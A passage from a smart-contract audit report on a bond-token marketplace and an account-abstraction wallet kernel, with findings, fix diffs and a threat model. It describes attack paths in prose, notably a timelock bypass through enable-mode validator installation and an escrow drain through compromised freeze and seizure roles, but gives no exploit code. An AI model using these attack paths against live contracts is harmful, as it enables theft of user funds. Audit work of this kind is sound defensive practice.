Recommendation(s): Add a registry cross-check in `_validateOffer` for ERC6909 assets:

```
+ if (assetType == AssetType.ERC6909) {
+     uint256 registryNominal = IBondRegistry(_bondRegistry)
+         .getBondByTokenId(offer.tokenId).bondNominalValue;
+     require(
+         offer.bondNominalValue == registryNominal,
+         Errors.Marketplace__BondNominalValueMismatch(offer.bondNominalValue, registryNominal)
```

```
+        );
+ }
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: We have decided to completely remove `bondNominalValue` from the Marketplace structs, as it provides no value because offers are driven solely by price.

Update from CODESPECT: Fixed in: 70eb7d45

8.4.23 [Low] Missing `__gap` reservation in upgradeable contracts and base contracts creates latent storage collision risk

Severity: Low

Section ID: 8.4.23

Found by: godwinda, lordalive

File(s): `AssetManager.sol`, `EscrowManager.sol`, `DependenciesBase.sol`, `EntityEligibilityGuard.sol`

Function(s): N/A (storage layout issue)

Category: Initialization / Upgradeability

References: SWC-140 (Uninitialized Storage Pointer), CWE-665 (Improper Initialization), OpenZeppelin Upgradeable Storage Gaps

Description: The protocol follows a consistent storage protection pattern for upgradeable contracts: each implementation extracts its state variables into a dedicated `*Storage.sol` contract with a `uint256[49] private __gap` array at the end. This reserves 49 storage slots (plus 1 used slot = 50 total) so future upgrades can add state variables without shifting the storage layout of derived contracts. Nine storage contracts follow this convention correctly: `MarketplaceStorage`, `OrderbookMarketplaceStorage`, `PolicyRegistryStorage`, `BondRegistryStorage`, `EntityRegistryStorage`, `BaseTokenStorage`, `DEUSSTokenStorage`, `CompanyWalletStorage`, and `WalletFactoryStorage` all declare `__gap`. However, four contracts break this convention by declaring state variables directly without any gap reservation:

`AssetManager` is deployed behind a Beacon proxy and declares 2 state variables (slots 0 to 1) with no gap:

```
// AssetManager.sol L28-L31
mapping(address token => AssetConfig config) internal _assetConfigs;
mapping(address token => mapping(uint256 tokenId => bool enabled)) internal _allowedTokenIds;
// NO __gap
```

`EscrowManager` is deployed behind a Beacon proxy and declares 7 state variables (slots 0 to 6) with no gap:

```
// EscrowManager.sol L55-L73
mapping(uint256 escrowId => Escrow escrow) public escrows;
mapping(bytes32 => mapping(address => bool)) public isAuthorizedModule;
mapping(address => bytes32) public moduleTypeOf;
uint256 public nextEscrowId;
address public assetManager;
mapping(bytes32 assetKey => uint256 reservedAmount) internal _reservedByAsset;
mapping(address => uint256) internal _activeEscrowsByModule;
// NO __gap
```

`DependenciesBase` is a base contract inherited by `Marketplace` and `OrderbookMarketplace`, declaring 3 address variables with no gap:

```
// DependenciesBase.sol L21-L23
address internal _bondRegistry;
address internal _escrowManager;
address internal _entityRegistry;
// NO __gap
```

`EntityEligibilityGuard` inherits from `DependenciesBase` and adds 1 mapping with no gap:

```
// EntityEligibilityGuard.sol L17
mapping(uint256 entityId => bool allowed) internal _allowedEntityTypes;
// NO __gap
```

All parent contracts (`Initializable`, `OwnableRoles`, `ReentrancyGuard` from Solady) use keccak-derived assembly slots and do not occupy sequential storage, so the gap issue is isolated to these four contracts. If a future upgrade inserts a new state variable before existing ones in any of these contracts, all mapping base slots shift. Since mapping entry hashes are computed from `keccak256(key, baseSlot)`, a shifted base slot causes all existing entries to become permanently inaccessible: new entries go to a different hash space while old data is orphaned. For `EscrowManager`, this could make escrowed funds, authorization mappings, and reserved asset balances inaccessible. Additionally, 6 of 9 storage contracts are declared as `contract` instead of `abstract contract`: `BondRegistryStorage`, `EntityRegistryStorage`, `BaseTokenStorage`, `DEUSSTokenStorage`, `CompanyWalletStorage`, and `WalletFactoryStorage`. Only `PolicyRegistryStorage`, `MarketplaceStorage`, and `OrderbookMarketplaceStorage` are correctly declared `abstract`. Marking storage contracts as `abstract` prevents accidental standalone deployment, though this has no security impact.

Impact: Not exploitable under current operations. This is a latent upgrade safety risk: a careless future upgrade inserting a variable in any of these four contracts would corrupt all downstream storage. For `EscrowManager`, this means escrowed funds, authorization state, and reserved balances become orphaned. For `DependenciesBase`, this shifts `EntityEligibilityGuard._allowedEntityTypes` and everything after it in the Marketplace/OrderbookMarketplace inheritance chain.

Likelihood: Low. Requires a developer error during a future upgrade: inserting a variable before existing ones in a contract without gap protection. However, the inconsistency with the codebase's own conventions makes this error more likely to occur unnoticed.

Recommendation(s): **For AssetManager and EscrowManager:** Extract storage into dedicated `AssetManagerStorage.sol` and `EscrowManagerStorage.sol` contracts with `__gap`, consistent with the rest of the codebase. Alternatively, append gap arrays directly:

```
  // AssetManager.sol — 2 slots used
+ uint256[48] private __gap;

  // EscrowManager.sol — 7 slots used
+ uint256[43] private __gap;
```

For DependenciesBase and EntityEligibilityGuard:

```
  // DependenciesBase.sol — 3 slots used
+ uint256[47] private __gap;

  // EntityEligibilityGuard.sol — 1 slot used
+ uint256[49] private __gap;
```

For storage contract declarations: Change the 6 non-abstract storage contracts from `contract` to `abstract contract`, consistent with `PolicyRegistryStorage`, `MarketplaceStorage`, and `OrderbookMarketplaceStorage`.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Storage collision risk was addressed through `ERC-7201` namespaced storage.

Update from CODESPECT: Fixed in: 6218bd18

8.4.24 [Low] `_validateCheckpointBlockNumber` error emits `block.timestamp` instead of `block.number`, misleading error decoders

Severity: Low

Section ID: 8.4.24

Found by: godwinda

File(s): `DEUSSToken.sol`, `Errors.sol`

Function(s): `DEUSSToken._validateCheckpointBlockNumber()`

Category: Documentation / Code Mismatch

References: CWE-397 (Declaration of Throws for Generic Exception)

Description: The `DEUSSToken` contract provides historical balance lookups guarded by `_validateCheckpointBlockNumber()` at `DEUSSToken.sol:587-592`. The validation logic correctly compares the queried block number against `block.number`, but the error it emits on failure passes `block.timestamp` as the first parameter:

```
// DEUSSToken.sol L587-592
function _validateCheckpointBlockNumber(uint256 blockNumber) internal view {
    if (blockNumber > block.number) {
        revert Errors.Token__BlockInFuture(block.timestamp, blockNumber);
    }
}
```

The error definition at `Errors.sol:242` confirms the mismatch is baked into the type itself:

```
// Errors.sol L242
error Token__BlockInFuture(uint256 timestamp, uint256 blockNumber);
```

The first parameter is named `timestamp` and receives `block.timestamp` (1.7 billion on mainnet), while the context of the check is about `block.number` (20 million on mainnet). Any off-chain tool decoding this error sees a Unix timestamp where it expects a block number, values of entirely different magnitudes. This function guards three historical lookup functions: `_historicalBalanceOf`, `_historicalTotalSupplyOf`, and `_historicalFrozenBalanceOf`.

Impact: No security impact: the validation guard works correctly and no funds or state are at risk. The impact is limited to developer confusion during debugging: anyone catching this error off-chain sees a Unix timestamp alongside the queried block number, making it unclear what the "current" value actually is.

Likelihood: Low. Only triggers when someone queries a future block number through the historical lookup functions, which is an uncommon error condition.

Recommendation(s):

```
- revert Errors.Token__BlockInFuture(block.timestamp, blockNumber);
+ revert Errors.Token__BlockInFuture(block.number, blockNumber);
```

Also update the error definition parameter name for clarity:

```
- error Token__BlockInFuture(uint256 timestamp, uint256 blockNumber);
+ error Token__BlockInFuture(uint256 currentBlock, uint256 queriedBlock);
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully in !310. Checkpoint error now reports block number.

Update from CODESPECT: Fixed in: d4440066

8.5 Info

8.5.1 [Info] Enable-Mode Validator Installation Bypasses The Timelock Hook

Severity: Info

Section ID: 8.5.1

Found by: sahuang, crystallinebutterfly, 4nescient, 4gontuk, brandonshiyay, jes16jupyter, befree3x, aestheticbhai, lordalive, marketerka

File(s): `Kernel.sol`, `ValidationManager.sol`, `TimelockEnforcerHook.sol`

Function(s): `Kernel.validateUserOp()`, `ValidationManager._validateUserOp()`, `ValidationManager._enableMode()`, `TimelockEnforcerHook.preCheck()`

Category: Access Control, Business Logic / Protocol Design

References: CWE-841: Improper Enforcement of Behavioral Workflow, CWE-863: Incorrect Authorization

Description: `VALIDATION_MODE_ENABLE` mutates validator state before `Kernel.validateUserOp` decides whether a UserOperation must use the hooked `executeUserOp` path. For hooked accounts, the intended restriction is that every UserOperation must go through `executeUserOp`, where `TimelockEnforcerHook.preCheck` verifies that the inner call only targets the paired timelock executor. The docs describe this invariant directly:

> **Hook restriction**: with the hook installed, user-op calls are limited to the paired Timelock and selectors `schedule`, `cancel`, `execute`, `updateDelay` (`README.md`), and the timelock flow doc shows that arbitrary direct calls are supposed to be blocked by the hook (`docs/timelock/timelock.md`).

That assumption is broken because `validateUserOp` first calls `_validateUserOp(...)`, and `_validateUserOp` processes `VALIDATION_MODE_ENABLE` by installing the requested validator and selector access *before* returning control to `Kernel.validateUserOp`. After that mutation, `Kernel.validateUserOp` reads the **new** validator config from storage and bases both `executionHook[userOpHash]` and the `OnlyExecuteUserOp` enforcement on the newly installed validator. If the attacker enables a validator with `hook = address(0)` and grants it the `execute` selector, the operation is treated as an unhooked validator call, so the same UserOperation no longer needs to use `executeUserOp` at all. Because `TimelockEnforcerHook` only runs from the `executeUserOp` path, the attacker can validate in ENABLE mode, switch into the newly enabled unhooked validator context, and call `Kernel.execute(...)` directly in the same UserOperation.

```
if (vMode == VALIDATION_MODE_ENABLE) {
    (validationData, userOpSig) = _enableMode(vId, userOpSig, isReplayable);
    userOp.signature = userOpSig;
}

ValidationConfig memory vc = vs.validationConfig[vId];
IHook execHook = vc.hook;
if (address(execHook) == HOOK_MODULE_INSTALLED || address(execHook) == HOOK_MODULE_NOT_INSTALLED) {
    if (vType != VALIDATION_TYPE_ROOT && !vs.allowedSelectors[vId][bytes4(userOp.callData[0:4])]) {
        revert InvalidValidator();
    }
}
```

Impact: Affected timelocked accounts lose the delayed-execution guarantee entirely. An attacker who controls the currently valid root signer set can install a permissive validator on the fly and immediately execute arbitrary calls such as token transfers, module installation, root-validator rotation, or timelock removal. In the validated PoC, the attacker drained ETH from the account immediately and the timelock queue remained empty. This is direct fund-loss and account-control impact on any timelocked account reachable under the compromised root authority.

Likelihood: Exploitation requires control of the account's current root signing authority, or enough guardian keys to satisfy the active validator threshold. The multisig docs explicitly model this threshold-based authority for `WeightedValidator` guardians (docs/kernel-examples/multisign/README.md), and the permissions docs likewise treat account signers and delegated keys as normal account actors rather than protocol admins (docs/kernel-examples/permission/README.md).

Note: **This issue is in scope and NOT a trusted-role behavior.** The contest README says per-account authorities are not trusted admins:

> **Untrusted**: every other caller, **including the per-instance scoped authorities** (per-entity / per-bond / per-wallet / per-account). Full adversary assumption, no downgrade ... The dividing line is `grantRoles`: a role the owner can grant via `grantRoles` is trusted; everything else, including per-instance scoped authorities, is untrusted and bounded only by what the code enforces.

Recommendation(s): Do not let validation-mode installs change the hook/selector regime for the same UserOperation.

Source: SpecSiege (double-check review)

Status: Acknowledged

Update from CTU team: No fix was applied. The reason is that it would require complex changes to the kernel architecture to fully mitigate this potential attack. I have documented it.

Update from CODESPECT: Acknowledged/documented in 96b91f36.

8.5.2 [Info] TimelockEnforcerHook onUninstall does not revert on error

Severity: Info

Section ID: 8.5.2

Found by: heavyw8t

File(s): `TimelockEnforcerHook.sol`, `TimelockEnforcerHook.sol`

Function(s): `TimelockEnforcerHook.onUninstall()`, `TimelockEnforcerHook.isInitialized()`

Category: Documentation / Code Mismatch; Design Observation

References: ERC-7579 (Module interface: onUninstall "MUST revert on error"), CWE-684: Incorrect Provision of Specified Functionality

Description: ERC-7579 requires a module's `onUninstall` to "revert on error." Calling `onUninstall` on an account for which the module was never installed is the canonical error condition. `TimelockEnforcerHook.onUninstall` (L82-L84) does not enforce it:

```
function onUninstall(bytes calldata) external payable override {
    delete _timelocks[msg.sender];
}
```

It unconditionally deletes `_timelocks[msg.sender]` and returns, with no check that the hook was installed. The contract already has the predicate it needs, `isInitialized(account)` (L90-92, returns `_timelocks[account] != address(0)`), and declares `NotInitialized(address)`, but does not use them here. Its own `onInstall` (L73-77) does enforce the inverse (reverts `AlreadyInitialized`), and the in-scope validators guard the same callback (`ECDSAValidator.onUninstall` L39-42, `WebAuthnValidator` L72-75, `WeightedValidator` L174-178 all revert `NotInitialized`), so the missing guard is an omission, not a deliberate design.

Impact: The module reports success for a de-initialization that had nothing to remove. A consumer relying on the ERC-7579 `onUninstall` MUST to detect a not-installed module gets a false success. Severity Medium on the EIP-compliance basis; intrinsic impact Info. The deviation is at the module-interface level (the module fails its own ERC-7579 MUST) and is independent of how any account consumes the callback.

Likelihood: Deterministic. Any `onUninstall` call on a not-installed account returns normally rather than reverting. No privilege or precondition required.

Recommendation(s): Add the not-installed guard so the callback matches ERC-7579 and the sibling modules:

```
function onUninstall(bytes calldata) external payable override {
    if (!isInitialized(msg.sender)) revert NotInitialized(msg.sender);
    delete _timelocks[msg.sender];
}
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Hook uninstall now reverts when not initialized.

Update from CODESPECT: Fixed in: 0102e5dd

9 Threat Model

This section presents a structured threat model of the Project as understood by the audit team. It is documented to give the client transparency over the protocol's risk profile. The items below are not findings: they describe design choices, trust dependencies, and adversary capabilities. Where a concrete exploitable defect exists it is raised as a finding in Section 7; this section captures the surrounding risk landscape that bounds and contextualises those findings.

Outcome

The risks and caveats captured in this threat model were shared with the project team and incorporated into the bond-contract documentation: the final repository adds a dedicated threat model and operational model under `docs/security/`, so that these risks remain visible to operators and integrators throughout deployment and operation.

Methodology

This threat model uses **actor-capability analysis** as its spine, cross-checked against an **invariant-violation matrix**. The actor analysis is the appropriate primary lens for the Project because the protocol is a closed, permissioned securities system: there is no AMM, no price oracle, no flash-loan-callable mint path, and no public liquidity pool. The dominant risk is therefore not the usual on-chain market primitives but a rich set of **privileged role-holders**, none of which is gated by a timelock or multisig at the audited revision, together with a handful of **irreversible, one-shot state transitions**. We enumerate, for each actor, what they may do when honest, what their **blast radius** is if their key is compromised, and what bounds them on-chain.

The invariant matrix is the rigor layer: each accounting and lifecycle invariant the contracts are expected to preserve is phrased as an attacker goal ("what action, by which actor, could violate this?") and matched against the on-chain mitigation. Where useful, threats are tagged with the informal STRIDE categories *Spoofing*, *Tampering*, *Elevation of privilege*, and *Denial of service*; *Repudiation* and *Information disclosure* are largely not applicable to a public-ledger permissioned protocol of this shape and are not enumerated separately.

The Project scope spans two distinct in-scope subsystems that share only the EBSI proxy-deployment backend and a common errors / role-extension library: the **bond contract suite** (registries, ERC-6909 token, marketplace, escrow, company wallet) and the **account-abstraction kernel** (a ZeroDev-derived ERC-4337 / ERC-7579 smart-account stack for end users). The bond suite is the dominant subject; the kernel is treated where it introduces distinct risk.

Out of Scope

The external EBSI infrastructure (`ProxyFactory`, `ProxyTemplateRegistry`, `DidRegistry`), which is governed and upgradable by EBSI and referenced separately; the in-scope `deployer/` module's EBSI proxy plumbing; the marketplace lens and the `Orderbook` chain (orderbook marketplace, market filter, and metadata adapter); the central `Errors.sol` catalogue (reference only); and `script/` and `test/`. On the kernel side, the upstream ZeroDev Kernel v3.3 internals (pinned by commit), the canonical ERC-4337 `EntryPoint` v0.7, and the well-known Daimo P-256 verifier are trusted dependencies. The correctness of off-chain systems: the EBSI backend, the KYC / onboarding process that decides which entities are enabled, the off-chain payment rail (the marketplace settles payment off-chain and only attests the outcome on-chain), and the bundler, is out of scope as software, but the *consequences* of compromise or dishonesty of the keys those systems control are modelled as threat actors below.

Assets

The following assets are what an attacker would seek to steal, inflate, corrupt, or render unrecoverable, ranked roughly by impact:

a. **Bond ledger integrity.** The per-`tokenId` ERC-6909 balance and supply ledger in `DEUSSToken` is the on-chain register of who holds each bond. Any path that mints or burns out of step with `BondRegistry` accounting, or that reassigns a holder's bonds without authorisation, corrupts the legal record of securities holders.

b. **Mint authority over bonds.** `DEUSSToken.mint` is `onlyBondRegistry`; the ability to issue supply against an ISIN beyond its `maxSupply` cap, or against a sham issuer, is equivalent to printing unbacked securities.

c. **Escrowed bonds in custody.** Bonds parked in `EscrowManager` backing live offers and deals. They are drainable only through the freeze-then-seize ceremony or by compromise of an authorised marketplace module.

d. **Upgrade authority.** Every in-scope contract is proxy- or beacon-backed. The bond-suite proxies are upgraded through the EBSI beacon layer owned by the deployer; every kernel implementation sits behind a single-owner `UpgradeableBeacon` with instant, no-timelock upgrade over all live accounts and modules. Control of either is total.

e. **End-user account control (kernel).** The root validator / passkey on each `Kernel` account controls all of that user's assets. Signature-verification correctness (WebAuthn / P-256 / ECDSA / Weighted) and the per-account state machine protect it.

f. **Lifecycle reachability and liveness.** The ability to reach terminal `Redeemed`, to publish successors, and to settle or withdraw escrow. Several irreversible one-shot latches can strand these permanently.

g. **Entity / KYC gating integrity.** `EntityRegistry` enable/disable state gates every privileged bond and marketplace flow; corrupting it silently opens or closes the entire system.

Trust Boundaries

- **On-chain ↔ off-chain (dominant boundary).** The contracts enforce the *state machine*, not the *truth* of payment or eligibility. The off-chain onboarding process (the `ONBOARDING` role) decides which entities exist and are enabled, and the off-chain payment rail is only attested on-chain by `PAYMENT_HANDLER`: there is no settlement-currency transfer on-chain. This single boundary concentrates the majority of the protocol's trust.
- **Owner → contract.** Each in-scope bond contract has a single Solady `OwnableRoles` owner with batched `grantRoles` / `revokeRoles` and (on `DEUSSToken`) `pause` and the irreversible `protectAddress`. At the audited revision **no operational function is gated by a timelock or multisig**; a `TimelockController` wrapper exists but is not wired into any role check. Owner compromise equals total compromise of that contract; if one address holds every contract's owner (per the deployment guidance), that is total system compromise.
- **`EntityRegistry` → every other contract.** The cross-cutting gate `isAccountEnabled` is read fresh on every issuance and marketplace action; a corrupted `EntityRegistry` silently disables (or re-enables) every gated flow.
- **`EscrowManager` → authorised modules.** Only `isAuthorizedModule[moduleType][addr]` may `createEscrow` / `withdraw` / `claim`; compromise of a module's `moduleType` slot moves all escrows under that type, not just one.
- **`_protectedAddress` (`DEUSSToken`).** An irreversible per-address latch (no `unprotectAddress` exists) that blocks every privileged transfer-out or freezing for that address.
- **Wallet ownership epoch (`CompanyWallet`).** Every owner change advances `_ownershipEpoch`, instantly invalidating every `PolicyRegistry` mapping keyed by the old epoch. This is a deliberate kill-switch, but it also creates a race window where an owner change between an admin's grant and an operator's call silently revokes the operator's permission.
- **One-shot wiring latches.** `DependenciesBase` setters (`_setBondRegistry` / `_setEscrowManager` / `_setEntityRegistry`) and `BondRegistry.setMultiToken` revert if already set; a wrong address at deployment leaves the contract permanently stranded with no recovery path but redeployment.
- **Kernel beacon owner → all accounts.** A single deployer-owned key owns every kernel `UpgradeableBeacon`; `upgradeTo` is `onlyOwner`, single-step, and instant, rewriting code for every user's account and every installed module at once.
- **Bundler → EntryPoint → Kernel.** `validateUserOp` / `executeUserOp` are `onlyEntryPoint`; the canonical EntryPoint is trusted-immutable and unverifiable on-chain. The `onlyEntryPointOrSelfOrRoot` modifier additionally lets the root validator act as a permission gate.

Threat Actors

Each actor is described by its honest capabilities, its blast radius if compromised, and the on-chain bounds that constrain it.

External KYC-bound entity (issuer / investor / buyer)

Honest capabilities: act through a `CompanyWallet`; publish or issue bonds (as issuer / `PUBLISHER`); register offers, accept offers, express interest, create and resolve counter-offers, and initiate disputes on the Marketplace within the entity-type allowlist.

If malicious: bounded to the permissionless Marketplace surface and the entity's own role. Threats (*Tampering*, *Denial of service*):

- *Stranding a seller's deposit via a status race*: an offer may be registered against a bond that is then suspended. `registerOffer` validates entity and asset shape but does *not* cross-check bond status or the per-`tokenId` pause, and `_beforeTransfer` only rejects once the `tokenId` is *already* paused. The capture window is register-then-suspend, after which the deposit is locked until `SEIZURE_ROLE` rescues it.
- *Counter-offer entity-type drift*: `createCounterOffer` enforces the entity-type allowlist (`_validateEntityWalletAndTypeAllowed`) but `resolveCounterOffer` only re-checks enabled status, so a buyer whose entity *type* was de-allowlisted after creating the counter-offer (while its account stays enabled) can still consummate the trade. A *disabled* entity is still blocked.
- *Griefing* via counter-offer flooding: bounded by the per-buyer-per-offer `maxCounterOffersPerUser` throttle.

Bound: There is no path for this actor to mint, to move another holder's bonds, or to reach any role-gated function.

Permissionless caller

Honest capabilities: settle a deal after its dispute window (`settleDeal` / `settleDeals`); use the vendored `Multicall3`; on the kernel, deploy any account deterministically and call `Timelock` / `RecoveryAction` on their own behalf.

If malicious: the closed system has no share-price or vault-math surface to skew, and the ERC-6909 ledger has no transfer callback, so direct token movement cannot distort issuance accounting. Two real surfaces remain (*Tampering*, *Denial of service*):

- *Permissionless "unpaid" resolution*: `resolvePayments` only invokes the `PAYMENT_HANDLER` role check when at least one item is marked `paid == true`; a batch of `paid == false` items skips the role check entirely (the per-item `*BatchItem` is itself self-call-gated). The `UNPAID` transition still requires the deal to be `PENDING` with its `paymentDeadline` already passed, so a genuinely-paid deal cannot be force-failed inside its payment window; its units are only returned from `inDeals` to `available` later, at `settleDeal`. After the deadline, any caller can mark a still-`PENDING` deal `UNPAID` without the role, denying a buyer whose off-chain payment was not yet attested. Marking *paid* always requires the role, and front-running the handler is in any case not feasible on EBSI (no public mempool to monitor).
- *Surplus donation*: `DEUSSToken` transfers into `EscrowManager` are permissionless and increase `_balanceHeld` without bumping `_reservedByAsset`, so the donated delta becomes `ADMIN`-sweepable surplus. **Bound:** the reserved escrow itself stays protected by the `sweep ≤ surplus` cap.

Bond lifecycle roles (`PUBLISHER` / issuer, `CANCEL` / `CLOSE` / `SUSPEND`)

Honest capabilities: `PUBLISHER` (or the bond issuer) publishes versions and issues tranches; `CANCEL` / `CLOSE` / `SUSPEND` / `UNSUSPEND` each gate a single lifecycle edge.

If compromised: *Tampering*, *Denial of service*. A compromised `PUBLISHER` can:

- mint up to a version's `maxSupply` against the issuer;
- at the audited revision, **permanently brick an ISIN** by calling `closeIssuance` on a never-`Issued` (`Published`) bond (status stays `Published`, no successor can be published, no issuance can run, and `cancelBond` does not re-point the active version); this is blocked after the fix of the identified issue, which restricts `closeIssuance` to `Issued` / `Suspended` bonds.

Bound: it cannot exceed `maxSupply` (the cap is immutable after first issuance) and cannot mint outside the `onlyBondRegistry` path. All actions are instant: there is no timelock between role grant and use.

Compliance and custody roles (`BURNER` / `FORCE_TRANSFER_ROLE` / `TOKEN_FREEZER_ROLE`)

Honest capabilities: regulatory settlement burns, forced transfers, and partial balance freezes.

If compromised: *Tampering*, *Denial of service*.

- `BURNER` can `FINAL_SETTLEMENT`-burn any non-protected holder's bonds.
- `FORCE_TRANSFER_ROLE` can reassign any non-protected holder's bonds.
- `TOKEN_FREEZER_ROLE` can freeze *any* balance, except the bootstrap-protected `EscrowManager` (after fix of identified issue).

Bound: the protected-address check shields `EscrowManager` (and any future protected address) from `BURNER` / `FORCE_TRANSFER` and even `TOKEN_FREEZER_ROLE`.

Marketplace seizure pair (`FREEZE_ROLE` + `SEIZURE_ROLE`)

Honest capabilities: incident response, freezing an offer or deal, then seizing the escrowed bonds to a named beneficiary.

If compromised together: *Tampering*, the highest-impact runtime compound. `seizeOfferEscrow` and `seizeDeal` both require the offer (and, for a deal, also the deal) to be frozen first, then send escrowed bonds to an attacker-chosen `beneficiary` via `EscrowManager.claim`: a **full escrow drain for any `tokenId`**.

Bound: each role alone is insufficient (freeze is not seize, and seizure requires the frozen flags), so the drain needs *both* keys; the two-flag gate is the entire defence. This argues for holding the two roles under separate signers and a multi-party freeze-then-seize procedure.

Marketplace payment and dispute roles (`PAYMENT_HANDLER` / `ARBITRATOR`)

Honest capabilities: `PAYMENT_HANDLER` resolves `PENDING` deals to `PAID` / `UNPAID` based on the off-chain payment outcome; `ARBITRATOR` decides the terminal status of `IN_DISPUTE` deals.

If compromised: *Spoofing* of off-chain truth.

- A compromised PAYMENT_HANDLER can pass-settle unpaid deals (the buyer claims the seller's bonds with no real payment) or fail-settle paid deals (the buyer loses the bonds they paid for). This is the on-chain representative of the off-chain payment rail and its honesty is an explicit protocol assumption.
- A compromised ARBITRATOR can decide every disputed deal in favour of either side.

Bound: both act only within the deal state machine and dispute windows; neither can move escrow outside a deal it is resolving.

Entity registry operator (ONBOARDING / GUARD / WALLET_TRANSFER / ENTITY_TYPE_MANAGER)

Honest capabilities: run the KYC lifecycle, registering entities and accounts, setting entity / account status, defining entity types, and relinking accounts.

If compromised: *Elevation of privilege*, *Denial of service*.

- Enabling a sham entity grants mint authority through the issuer path.
- Disabling legitimate entities is a systemic denial of service against every gated flow.
- WALLET_TRANSFER can relink accounts between entities.
- The entity-authority / entity-manager write path (setEntityAuthority, setEntityManager, registerAccount) is reachable not only by the numbered ONBOARDING / ADMIN_ROLE but also by the *stored entity-authority address* itself, which can re-grant its own managers: a self-perpetuation surface that a role revocation alone does not close.

Bound: isAccountEnabled is re-read fresh on every consuming call, so a disabled entity cannot mint even within the same block.

Per-contract Owner / deployer (and the intended TimelockController)

Honest capabilities: hold DEFAULT_ADMIN-equivalent ownership across contracts, grant and revoke roles, pause the token, and protectAddress; the deployment flow is intended to hand each contract's ownership to a TimelockController during bootstrap.

If compromised: total (*Elevation of privilege*). Control of an owner grants every role on that contract; control of the EBSI beacon layer (owned by the same operator) replaces contract logic to mint arbitrarily, drain escrow, or rewrite accounting.

Bound (audited revision): weak. No operational function is timelock- or multisig-gated; the TimelockController is present but unwired, and the bootstrap handoff targets a single proposer/executor actor with a delay that defaults to zero on testnets.

Account-abstraction kernel: deployer-owner (beacon owner)

Honest capabilities: deploy and upgrade every kernel implementation (Kernel, validators, executors, hooks, factories) behind UpgradeableBeacons.

If compromised: total over every end-user account (*Elevation of privilege*). A single key upgrades every beacon *instantly*, with no timelock and no two-step transfer, rewriting the code of every user's Kernel and every installed module simultaneously. This dominates every other kernel threat.

Bound: none on-chain. The upgrade authority is itself the trust assumption.

Account-abstraction kernel: account owner, guardians, recovery key

Honest capabilities: the account owner (passkey or EOA key) signs UserOps; a WeightedValidator guardian set approves multi-signer; a recovery key (restricted to the doRecovery selector) can replace a lost passkey.

If malicious or buggy: bounded by signature-verification correctness, which is the only way an external party can forge a UserOp without the keys (the EntryPoint cannot be bypassed). Threats (*Spoofing*):

- defects in WebAuthn / P-256 / ECDSA verification;
- a WeightedValidator that does not clear stale vote storage across re-install and has no minimum-threshold guard (a threshold of 1, or stale "approved" entries, weakens the multi-signer);
- the WebAuthn dummy-signature path used for gas estimation.

Bound: guardian and recovery storage is keyed by msg.sender, so calling RecoveryAction.doRecovery directly only mutates the caller's own slot and cannot affect a real account; the timelock-enforcer hook, when installed, forces administrative actions through a delay.

EBSI infrastructure and off-chain backend

Honest capabilities: the EBSI `ProxyFactory` deploys and initialises proxies atomically; the onboarding backend, payment rail, and bundler operate honestly.

If compromised or dishonest: the contracts cannot detect it. A malicious or upgraded EBSI factory can deploy alternate bytecode, change deterministic addresses, or refuse deployment; the protocol does not verify the factory's implementation hash. Because the in-scope contracts rely on the factory's atomic deploy-and-initialise for front-run protection, a non-atomic factory would expose the unprotected `initialize` entry points.

Bound: none on-chain. This is the irreducible external-infrastructure trust surface.

Invariant-Violation Matrix

Each row is a core invariant the contracts are expected to preserve, the action that would violate it, the actor who could plausibly attempt it, and the on-chain mitigation that should hold.

Invariant	Violation action	Actor	On-chain mitigation
Token supply = minted − burned	Mint or burn out of step with registry accounting	Code bug; only via `BondRegistry`	`mint` / `burn` are `onlyBondRegistry`; ERC-6909 supply checkpoints
`maxSupply` immutable after first issuance	Inflate the cap after issuance to over-mint	`PUBLISHER`, code bug	`updatePublishedBond` only mutates a `Published` bond; `maxSupply` fixed thereafter
`closeBond` needs zero supply; `closeIssuance` only on live bonds	Brick an ISIN's successor pipeline / strand redemption	`PUBLISHER` / issuer (error or malice)	Zero-supply check enforced; `closeIssuance` on a `Published` bond is blocked after fix of identified issue
`_frozenTokens ≤ balanceOf`	Transfer tokens also reported as frozen	Code bug	`_beforeTransfer` enforces `amount ≤ balance − frozen`
Offer conservation: `total = available + inDeals + sold + reservedInterestUnits` (+ units physically removed)	Desync buckets to overdraw or strand capital	Code bug; dispute / seizure paths	Equal-and-opposite updates on every normal transition; `seizeDeal`, `withdrawAvailable`, and `cancelOffer` decrement a bucket with no offsetting increment as the units physically exit escrow, so conservation deliberately relaxes there
Offer validity does not check bond status / pause	Register on a live bond, then suspend, to lock the deposit	External entity + `SUSPEND`	None at registration; recovery only via freeze + seize
`_reservedByAsset ≤ _balanceHeld`; `sweep ≤ surplus`	Sweep reserved escrow, or sweep a donated delta	`EscrowManager` `ADMIN`	Sweep capped at held − reserved; donations inflate only the sweepable surplus
Escrow moves only via authorised module	Move all escrows of a module type	Module-type-slot compromise	`isAuthorizedModule[type][addr]`; deactivation clears it
Seizure needs both offer and deal frozen	Drain escrow to an attacker beneficiary	`FREEZE_ROLE` + `SEIZURE_ROLE`	Two-flag gate; neither role alone suffices
`_protectedAddress` irreversible; blocks transfer-out	Brick `closeBond` for a `tokenId` held by a protected address	Future `protectAddress` on a bond-holding address	No `unprotect`; `TOKEN_FREEZER` can no longer freeze a protected address after the fix; only `EscrowManager` retains a freeze + seize + sweep escape
Mint only to an enabled issuer	Mint to a disabled or sham issuer	`EntityRegistry` `GUARD` / `ONBOARDING`	Fresh `isAccountEnabled` read on every `issueBond`
Delegated authority is epoch-scoped	Use stale wallet permissions after an owner change	Code bug	`_ownershipEpoch` advances on `_setOwner`, wiping all mappings
Payment resolution direction (design)	Mark a paid-pending deal `UNPAID` to deny the buyer	Permissionless caller	`PAID` requires `PAYMENT_HANDLER`; `UNPAID` is permissionless
Bond vs. marketplace currency allowlists	Offer a bond in a currency it was not denominated in	External entity	None; the two allowlists are maintained independently
Role-bitmap allowlist on grant	Revoke arbitrary role bits silently	Owner	`grantRoles` re-checks the allowed set; `revokeRoles` inherits the parent (no re-check)
Kernel beacon upgrade authority	Replace every account and module implementation	Kernel deployer-owner	`onlyOwner`, instant; no timelock or two-step
Kernel signer integrity	Reuse stale weighted votes or install a trivial threshold	Account-owner misconfiguration	None in-scope (flagged); threshold and vote-reset are not enforced
